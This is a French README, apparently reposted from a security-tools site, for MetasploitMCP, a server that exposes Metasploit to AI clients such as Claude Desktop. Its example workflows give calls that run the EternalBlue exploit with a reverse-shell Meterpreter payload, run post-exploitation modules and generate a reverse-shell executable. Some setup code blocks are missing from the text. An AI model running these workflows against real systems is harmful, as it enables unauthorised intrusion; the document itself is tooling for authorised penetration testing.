MetasploitMCP

Serveur MCP pour Metasploit

• generate_payload : Générer des fichiers de payload via le RPC de Metasploit (enregistre les fichiers localement)

Gestion des sessions

• list_active_sessions : Afficher les sessions Metasploit actuelles avec des informations détaillées
• send_session_command : Exécuter une commande dans un shell actif ou une session Meterpreter
• terminate_session : Terminer de force une session active

Gestion des handlers

• list_listeners : Afficher tous les handlers actifs et les tâches en arrière-plan
• start_listener : Créer un nouveau multi/handler pour recevoir des connexions
• stop_job : Terminer n'importe quelle tâche ou handler en cours

Prérequis

• Metasploit Framework installé et msfrpcd en cours d'exécution
• Python 3.10 ou supérieur
• Paquets Python requis (voir requirements.txt)

Installation

1. Clonez ce dépôt
2. Installez les dépendances :
   root@kitploit:~

   pip install -r requirements.txt
   

3. Configurez les variables d'environnement (optionnel) :
   root@kitploit:~

   MSF_PASSWORD=yourpassword
   MSF_SERVER=127.0.0.1
   MSF_PORT=55553
   MSF_SSL=false
   PAYLOAD_SAVE_DIR=/path/to/save/payloads  # Optional: Where to save generated payloads
   

Utilisation

Démarrez le service RPC Metasploit :

Options de transport

Le serveur prend en charge deux méthodes de transport :

• HTTP/SSE (Server-Sent Events) : Mode par défaut pour l'interopérabilité avec la plupart des clients MCP
• STDIO (Standard Input/Output) : Utilisé avec Claude Desktop et les connexions directes par pipe similaires

Vous pouvez sélectionner explicitement le mode de transport à l'aide de l'option --transport :

Options supplémentaires pour le mode HTTP :

Intégration avec Claude Desktop

Pour l'intégration avec Claude Desktop, configurez claude_desktop_config.json :

Autres clients MCP

Pour les autres clients MCP qui utilisent HTTP/SSE :

1. Démarrez le serveur en mode HTTP :

   root@kitploit:~

   python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
   

2. Configurez votre client MCP pour qu'il se connecte à :

   • Point de terminaison SSE : http://your-server-ip:8085/sse

Considérations de sécurité

⚠️ AVERTISSEMENT DE SÉCURITÉ IMPORTANT :

Cet outil fournit un accès direct aux capacités de Metasploit Framework, qui incluent de puissantes fonctionnalités d'exploitation. Utilisez-le de manière responsable et uniquement dans des environnements où vous disposez d'une autorisation explicite pour effectuer des tests de sécurité.

• Validez et vérifiez toujours toutes les commandes avant de les exécuter
• Exécutez-le uniquement dans des environnements de test isolés ou avec une autorisation appropriée
• Sachez que les commandes de post-exploitation peuvent entraîner des modifications importantes du système

Exemples de flux de travail

Exploitation de base

1. Listez les exploits disponibles : list_exploits("ms17_010")
2. Sélectionnez et exécutez un exploit : run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
3. Listez les sessions : list_active_sessions()
4. Exécutez des commandes : send_session_command(1, "whoami")

Post-exploitation

1. Exécutez un module de post-exploitation : run_post_module("windows/gather/enum_logged_on_users", 1)
2. Envoyez des commandes personnalisées : send_session_command(1, "sysinfo")
3. Mettez fin à la session lorsque vous avez terminé : terminate_session(1)

Gestion des handlers

1. Démarrez un listener : start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
2. Listez les handlers actifs : list_listeners()
3. Générez un payload : generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
4. Arrêtez un handler : stop_job(1)

Tests

Ce projet inclut des tests unitaires et d'intégration complets pour garantir fiabilité et maintenabilité.

Prérequis pour les tests

Installez les dépendances de test :

Ou utilisez le programme d'installation pratique :

Exécution des tests

Commandes rapides

Suites de tests spécifiques

Options de test

Structure des tests

• tests/test_options_parsing.py : Tests unitaires pour la fonctionnalité d'analyse robuste des options
• tests/test_helpers.py : Tests unitaires pour les fonctions d'aide internes et la gestion du client MSF
• tests/test_tools_integration.py : Tests d'intégration pour tous les outils MCP avec un backend Metasploit simulé
• conftest.py : Fixtures de test partagées et configuration
• pytest.ini : Configuration Pytest avec les paramètres de couverture

Fonctionnalités de test

• Simulation complète : Toutes les dépendances Metasploit sont simulées, ce qui permet d'exécuter les tests sans nécessiter une installation réelle de MSF
• Prise en charge asynchrone : Prise en charge complète des tests async/await avec pytest-asyncio
• Rapports de couverture : Analyse détaillée de la couverture avec rapports HTML
• Tests paramétrés : Test efficace de multiples scénarios d'entrée
• Gestion des fixtures : Fixtures de test réutilisables pour les scénarios de configuration courants

Rapports de couverture

Après avoir exécuté les tests avec couverture, les rapports sont disponibles dans :

• Terminal : Résumé de la couverture affiché après l'exécution des tests
• HTML : htmlcov/index.html (en utilisant l'option --html)

Intégration CI/CD

Pour l'intégration continue :

Options de configuration

Répertoire d'enregistrement des payloads

Par défaut, les payloads générés avec generate_payload sont enregistrés dans un répertoire payloads dans votre dossier personnel (~/payloads ou C:\Users\YourUsername\payloads). Vous pouvez personnaliser cet emplacement en définissant la variable d'environnement PAYLOAD_SAVE_DIR.

Définition de la variable d'environnement :

• Windows (PowerShell) :

  root@kitploit:~

  $env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
  

• Windows (Invite de commandes) :

  root@kitploit:~

  set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
  

• Linux/macOS :

  root@kitploit:~

  export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
  

• Dans la configuration de Claude Desktop :

  root@kitploit:~

  "env": {
      "MSF_PASSWORD": "yourpassword",
      "PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"  // Only add if you want to override the default
  }
  

Remarque : Si vous spécifiez un chemin personnalisé, assurez-vous qu'il existe ou que l'application a la permission de le créer. Si le chemin est invalide, la génération du payload pourrait échouer.

Licence

Apache 2.0